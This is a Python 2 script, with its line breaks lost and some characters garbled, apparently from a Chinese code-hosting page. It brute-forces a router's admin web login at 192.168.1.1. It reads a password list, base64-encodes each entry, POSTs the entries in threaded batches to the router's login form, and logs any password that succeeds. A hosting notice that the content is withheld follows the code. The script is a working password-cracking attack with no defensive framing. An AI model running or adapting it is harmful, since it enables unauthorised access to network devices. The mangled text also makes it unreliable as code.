# -*- coding: UTF-8 -*-#���̱߳����ƽ�·����import urllib2import base64import urllibimport osimport threadingimport stringimport randomip = "192.168.1.1"user = 'admin'isok=Falseheaders = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip,deflate','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4','User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36',}url = 'http://' + ip + '/goform/formLogin'def dosomething(password):postData={'Language':'Chinese','Language_set':'Chinese','username':'admin','password':password,'login':'��1⁄4'}#print passwordpostdata=urllib.urlencode(postData)#print postdatarequest=urllib2.Request(url,postdata,headers)response=urllib2.urlopen(request)text=response.read()if text.find('initValue')==-1:os.system("123.mp3")file=open('123.txt','a')file.write(password)isok=Truetext= unicode(text,'utf-8').encode('gb18030')#print textclass checkroute(threading.Thread):def __init__(self,passwd):threading.Thread.__init__(self)self.password=passwddef run(self):try:dosomething(self.password)except:pass;if __name__ == '__main__':threads = []sa=[]password=""count=0file=open('password.txt','r')while True:lines=file.readlines(11881380)print 'file read over!'if not lines:breakfor line in lines:print linepassword=base64.b64encode(line)count+=1threads.append(checkroute(password))if count%100==0:for t in threads:t.start()for t in threads:t.join()threads=[]print "the end!!"
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。